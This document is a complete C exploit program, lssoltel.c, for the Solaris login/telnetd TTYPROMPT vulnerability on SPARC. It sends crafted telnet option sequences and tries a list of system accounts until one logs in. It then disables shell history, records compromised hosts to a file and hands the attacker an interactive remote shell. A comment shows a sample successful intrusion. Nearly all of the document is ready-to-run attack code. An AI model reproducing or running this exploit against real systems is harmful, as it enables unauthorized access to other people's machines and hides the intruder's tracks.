Remote exploit for login/telnetd tested on Solaris Sparc v6/7/8 which uses the TTYPROMPT vulnerability. Spawns a shell.
3255dac74a5fa59f23b39f6657e3aa239963942b62faec521f3928afcbece870
/*****************
* lssoltel.c - Remote Exploit for login/telnet (sparc 6/7/8)
*
* Vulnerability was founded by (??)
*
* THIS IS PUBLISHED PROPRIETARY SOURCE CODE OF BUFFEROVERFLOW CREW
*
* Copyright (C) bufferoverflow.org(com.br), 2002
* All Rights Reserved
* by skylazart
*
* thz destruct, cync, dm_ & ectos
*****************/
static char version[] = "$Id: lssoltel.c,v 1.2 2003/03/08 23:39:13 sky Exp $";
/*
* Demonstration:
* sky@skylazart:/mines/programacao/exploits$ ./lssoltel sparc
* lssoltel.c v1.0 - Remote Exploit for login/telnet (sparc 6/7/8)
* by skylazart/bufferoverflow.org
*
* # Trying root : failed
* # Trying listen : SUCCESS!!
* ############# gota shell # # #
*
* $ SunOS sparc 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-5_10
* uid=37(listen) gid=4(adm)
* $
*/
/*
* This exploit is part of LAUDIT Security Audit Scanner (not public yet)
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <getopt.h>
#include <signal.h>
#include <sys/ptrace.h>
char *users[] = {
"root",
"listen",
"daemon",
"bin",
"sys",
"adm",
"lp",
"uucp",
"nuucp",
"nobody",
"noaccess",
"nobody4",
NULL };
void
hlp (const char *name) {
printf ("%s <telnetd server> [port]\n\n",
name);
exit (EXIT_SUCCESS);
}
void
err_sys (const char *name, int error) {
fprintf (stderr, "%s : %s\n", name, strerror (error));
exit (EXIT_FAILURE);
}
void
err_quit (const char *msg) {
fprintf (stderr, "%s. exiting...\n", msg);
exit (EXIT_FAILURE);
}
void
Log (char *h, char *u) {
FILE *fp;
fp = fopen ("sol_shells.txt", "a+");
if (fp) {
fprintf (fp, "Host: %s Username: %s\n", h, u);
fclose (fp);
}
}
int
hasdata (int fd, int timeout) {
struct timeval tv;
fd_set rset;
tv.tv_usec = 0;
tv.tv_sec = timeout;
FD_ZERO (&rset);
FD_SET (fd, &rset);
return (select (fd + 1, &rset, NULL, NULL, &tv));
}
size_t
my_write (int sockfd, const void *buffer, size_t n) {
size_t nleft;
size_t nwritten;
const char *ptr;
ptr = buffer;
nleft = n;
while ( nleft > 0 ) {
again:
if (( nwritten = write (sockfd, ptr, nleft)) < 0) {
if ( errno == EINTR )
goto again;
else
return (-1);
}
nleft -= nwritten;
ptr += nwritten;
}
return (n);
}
int
Strstr (char *Ptr, char *needle, int n)
{
int i;
for (i = 0; i < n; i++) {
if (strstr (Ptr+i, needle))
return (1);
}
return (0);
}
void
fsm_telnet (int sockfd, char *buf, size_t size)
{
int i;
char obuf[4];
unsigned char *Ptr, y = 0;
Ptr = buf;
i = size;
while ( i > 0 ) {
if (*Ptr != 255) {
Ptr++;
i--;
continue;
}
obuf[0] = 255;
Ptr++;
i--;
if ( ((*Ptr == 251) || (*Ptr == 252)) && Ptr)
y = 254;
if ( ((*Ptr == 253) || (*Ptr == 254)) && Ptr)
y = 252;
if (y) {
obuf[1] = y;
Ptr++;
i--;
if (Ptr) {
obuf[2] = *Ptr;
my_write (sockfd, obuf, 3);
}
y = 0;
}
Ptr++;
i--;
}
}
int
Expl (int sockfd, char *user)
{
char buf[4096];
int n;
struct timeval i,
f;
my_write (sockfd, "\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb \xff\xfb!\xff\xfb\x22\xff\xfb'\xff\xfd\x05", 24);
my_write (sockfd, "\xff\xfa\x1f\x00P\x00\x19\xff\xf0\xff\xfc#\xff\xfc$", 15);
my_write (sockfd, "\xff\xfa\x18\x00linux\xff\xf0\xff\xfa'\x00\x00TTYPROMPT\x01\x63\x63\x63\x63\x63\xff\xf0", 33);
my_write (sockfd, "\xff\xfd\x01\xff\xfc\x01", 6);
my_write (sockfd, user, strlen(user));
my_write (sockfd, " c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\x0d\x00", 144);
my_write (sockfd, "unset HISTFILE;uname -a;id\n", 28);
gettimeofday (&i, NULL);
do {
if (hasdata (sockfd, 10)) {
n = read (sockfd, buf, sizeof (buf));
if (n <= 0)
return (0);
buf[n] = '\0';
fsm_telnet (sockfd, buf, n);
if (Strstr (buf, "uid=", n))
return (1);
} else
return (0);
gettimeofday (&f, NULL);
} while (f.tv_sec - i.tv_sec < 10);
return (0);
}
int
con (char *hostname, int port, int timeout) {
struct hostent *he;
struct sockaddr_in sin;
struct timeval tv;
unsigned long i;
int sockfd;
socklen_t len = sizeof (int);
int sc_fg;
int n;
fd_set wset, rset;
int opt = 1024; /* MAXCAPLEN */
int one = 1;
int error = 0;
i = inet_addr (hostname);
if (i == -1) {
he = gethostbyname (hostname);
if (he == NULL) {
err_sys ("gethostbyname()", h_errno);
exit (EXIT_FAILURE);
} else
i = *(unsigned long *) he->h_addr;
}
sockfd = socket (AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
err_sys ("socket ()", errno);
sin.sin_family = PF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = i;
bzero (&(sin.sin_zero), 8);
setsockopt (sockfd, SOL_SOCKET, SO_RCVBUF, (char *) &opt, sizeof (int));
ioctl (sockfd, FIONBIO, &one);
sc_fg = fcntl (sockfd, F_GETFL, 0);
fcntl (sockfd, F_SETFL, O_NONBLOCK | O_NDELAY);
n = connect (sockfd, (struct sockaddr *) &sin, sizeof (sin));
if (n == 0) { /* connected */
n = 0;
ioctl (sockfd, FIONBIO, &n);
fcntl (sockfd, F_SETFL, sc_fg);
return (sockfd);
}
if (errno != EINPROGRESS) {
close (sockfd);
err_sys ("connect ()", errno);
}
FD_ZERO (&wset);
FD_ZERO (&rset);
FD_SET (sockfd, &wset);
FD_SET (sockfd, &rset);
tv.tv_usec = 0;
tv.tv_sec = timeout;
n = select (sockfd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close (sockfd);
errno = ETIMEDOUT;
err_sys ("connect ()", errno);
}
if (FD_ISSET (sockfd, &rset) ||
FD_ISSET (sockfd, &wset)) { /* data available */
if (getsockopt (sockfd, SOL_SOCKET, SO_ERROR, &error, &len)
< 0) {
close (sockfd);
err_sys ("getsockopt ()", errno);
}
if (error == 0) {
n = 0;
ioctl (sockfd, FIONBIO, &n);
fcntl (sockfd, F_SETFL, sc_fg);
return (sockfd);
} else {
close (sockfd);
errno = ECONNREFUSED;
err_sys ("connect ()", errno);
}
}
return (sockfd);
}
int
get_shell (int sockfd) {
fd_set rfds;
int n = 0;
char buffer[2048];
printf ("############# gota shell # # #\n\n");
my_write (sockfd, "unset HISTFILE;uname -a;id\n", 28);
FD_ZERO (&rfds);
while (1) {
FD_SET (0, &rfds);
FD_SET (sockfd, &rfds);
n = select (sockfd + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (sockfd, &rfds)) {
n = read (sockfd, buffer, sizeof (buffer));
if (n <= 0)
break;
buffer[n] = '\0';
fsm_telnet (sockfd, buffer, n);
write (1, buffer, n);
}
if (FD_ISSET (0, &rfds)) {
n = read (0, buffer, sizeof (buffer));
if (n <= 0)
break;
buffer[n] = '\0';
write (sockfd, buffer, n);
}
}
printf ("Connection Terminated.\n");
close (sockfd);
exit (0);
}
int
main (int argc, char **argv)
{
int sockfd, port, i;
char *target;
fprintf (stderr, "lssoltel.c - Remote Exploit for login/telnet (sparc 6/7/8)\n");
fprintf (stderr, "Version %s\n", version);
fprintf (stderr, "by skylazart/bufferoverflow.org\n\n");
if (argc < 2)
hlp (argv[0]);
signal (SIGPIPE, SIG_IGN);
target = argv[1];
if (argc >= 3)
port = atoi (argv[2]);
else
port = 23;
for (i = 0; users[i] != NULL; i++) {
sockfd = con (target, port, 40);
printf ("# Trying %-10s :", users[i]);
fflush (stdout);
if (!Expl (sockfd, users[i]))
printf (" failed\n");
else {
printf (" SUCCESS!!\n");
Log (target, users[i]);
get_shell (sockfd);
exit (EXIT_SUCCESS);
}
close (sockfd);
}
printf ("\n:(\n");
return (0);
}